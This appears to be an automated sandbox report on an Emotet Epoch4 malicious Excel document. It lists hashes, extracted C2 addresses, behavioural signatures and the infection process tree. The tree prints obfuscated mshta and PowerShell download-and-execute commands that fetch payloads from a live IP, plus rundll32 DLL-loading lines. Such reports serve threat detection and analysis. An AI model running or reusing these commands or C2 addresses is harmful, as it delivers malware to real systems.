emotet | 710ea5dddb84bb64f7ab8b90c028da8d6ff072944c33731ee35fe89924861a3b

General

Target

Electronic form.xls
Size

47KB
MD5

22705643f9d87c2e5cae9ecd290580d4
SHA1

0b5d34f421759a40b9e431704167d69bf3ca0c5e
SHA256

710ea5dddb84bb64f7ab8b90c028da8d6ff072944c33731ee35fe89924861a3b
SHA512

be9e557f629dd5666a89b3547c382bd65dce1719e4d5a2eaf2f2900139259dd4351207ca932987b78161a0adef5c199e6865d2a2692aac5dd9cb9f0da7357762

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3004	2620	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

23 3232 mshta.exe
28 3928 powershell.exe
30 3928 powershell.exe
40 404 rundll32.exe
41 404 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

3280 rundll32.exe
3420 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Sldsopwxbz\wjiypz.fur rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3116 3232 WerFault.exe mshta.exe

flow	pid	process
23	3232	mshta.exe
28	3928	powershell.exe
30	3928	powershell.exe
40	404	rundll32.exe
41	404	rundll32.exe

pid	process
3280	rundll32.exe
3420	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Sldsopwxbz\wjiypz.fur	rundll32.exe

pid	pid_target	process	target process
3116	3232	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2620 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3928	powershell.exe
3928	powershell.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3116	WerFault.exe
3928	powershell.exe
404	rundll32.exe
404	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3928 powershell.exe
Token: SeDebugPrivilege 3116 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3928	powershell.exe
Token: SeDebugPrivilege	3116	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE
2620	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2620 wrote to memory of 3004	2620	EXCEL.EXE	CMD.EXE
PID 2620 wrote to memory of 3004	2620	EXCEL.EXE	CMD.EXE
PID 3004 wrote to memory of 3232	3004	CMD.EXE	mshta.exe
PID 3004 wrote to memory of 3232	3004	CMD.EXE	mshta.exe
PID 3232 wrote to memory of 3928	3232	mshta.exe	powershell.exe
PID 3232 wrote to memory of 3928	3232	mshta.exe	powershell.exe
PID 3928 wrote to memory of 2576	3928	powershell.exe	cmd.exe
PID 3928 wrote to memory of 2576	3928	powershell.exe	cmd.exe
PID 2576 wrote to memory of 3280	2576	cmd.exe	rundll32.exe
PID 2576 wrote to memory of 3280	2576	cmd.exe	rundll32.exe
PID 2576 wrote to memory of 3280	2576	cmd.exe	rundll32.exe
PID 3280 wrote to memory of 3420	3280	rundll32.exe	rundll32.exe
PID 3280 wrote to memory of 3420	3280	rundll32.exe	rundll32.exe
PID 3280 wrote to memory of 3420	3280	rundll32.exe	rundll32.exe
PID 3420 wrote to memory of 1424	3420	rundll32.exe	rundll32.exe
PID 3420 wrote to memory of 1424	3420	rundll32.exe	rundll32.exe
PID 3420 wrote to memory of 1424	3420	rundll32.exe	rundll32.exe
PID 1424 wrote to memory of 404	1424	rundll32.exe	rundll32.exe
PID 1424 wrote to memory of 404	1424	rundll32.exe	rundll32.exe
PID 1424 wrote to memory of 404	1424	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Electronic form.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2620

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3004

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3928

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:2576

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3280

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3420

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Sldsopwxbz\wjiypz.fur",LmzuymoYXAF
8⤵
- Suspicious use of WriteProcessMemory
PID:1424

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Sldsopwxbz\wjiypz.fur",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:404

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3232 -s 1700
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3116

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\QWER.dll
MD5
05f1c903564b2e59389a1f99b368784d

SHA1
be2d7e1f8672f67c01f4a2b72afc4197cc54598e

SHA256
758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

SHA512
e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

Download Submit
\ProgramData\QWER.dll
MD5
05f1c903564b2e59389a1f99b368784d

SHA1
be2d7e1f8672f67c01f4a2b72afc4197cc54598e

SHA256
758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

SHA512
e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

Download Submit
\ProgramData\QWER.dll
MD5
05f1c903564b2e59389a1f99b368784d

SHA1
be2d7e1f8672f67c01f4a2b72afc4197cc54598e

SHA256
758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

SHA512
e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

Download Submit
memory/404-614-0x0000000004FA0000-0x0000000004FC5000-memory.dmp

Filesize
148KB

Download
memory/1424-610-0x0000000004CC0000-0x0000000004CE5000-memory.dmp

Filesize
148KB

Download
memory/2620-121-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-129-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/2620-656-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-655-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-654-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-653-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-128-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/2620-115-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-118-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-117-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2620-116-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/3280-593-0x00000000046E0000-0x0000000004705000-memory.dmp

Filesize
148KB

Download
memory/3420-606-0x0000000005660000-0x0000000005685000-memory.dmp

Filesize
148KB

Download
memory/3420-600-0x00000000054C0000-0x00000000054E5000-memory.dmp

Filesize
148KB

Download
memory/3420-602-0x00000000055A0000-0x00000000055C5000-memory.dmp

Filesize
148KB

Download
memory/3420-604-0x0000000005600000-0x0000000005625000-memory.dmp

Filesize
148KB

Download
memory/3420-598-0x00000000053E0000-0x0000000005405000-memory.dmp

Filesize
148KB

Download
memory/3420-609-0x0000000005830000-0x0000000005855000-memory.dmp

Filesize
148KB

Download
memory/3928-551-0x000001EF91A50000-0x000001EF91B62000-memory.dmp

Filesize
1.1MB

Download
memory/3928-326-0x000001EFAA530000-0x000001EFAA5A6000-memory.dmp

Filesize
472KB

Download
memory/3928-299-0x000001EFAA210000-0x000001EFAA24C000-memory.dmp

Filesize
240KB

Download
memory/3928-280-0x000001EF91A50000-0x000001EF91B62000-memory.dmp

Filesize
1.1MB

Download
memory/3928-279-0x000001EF91A50000-0x000001EF91B62000-memory.dmp

Filesize
1.1MB

Download
memory/3928-274-0x000001EFA9E50000-0x000001EFA9E72000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads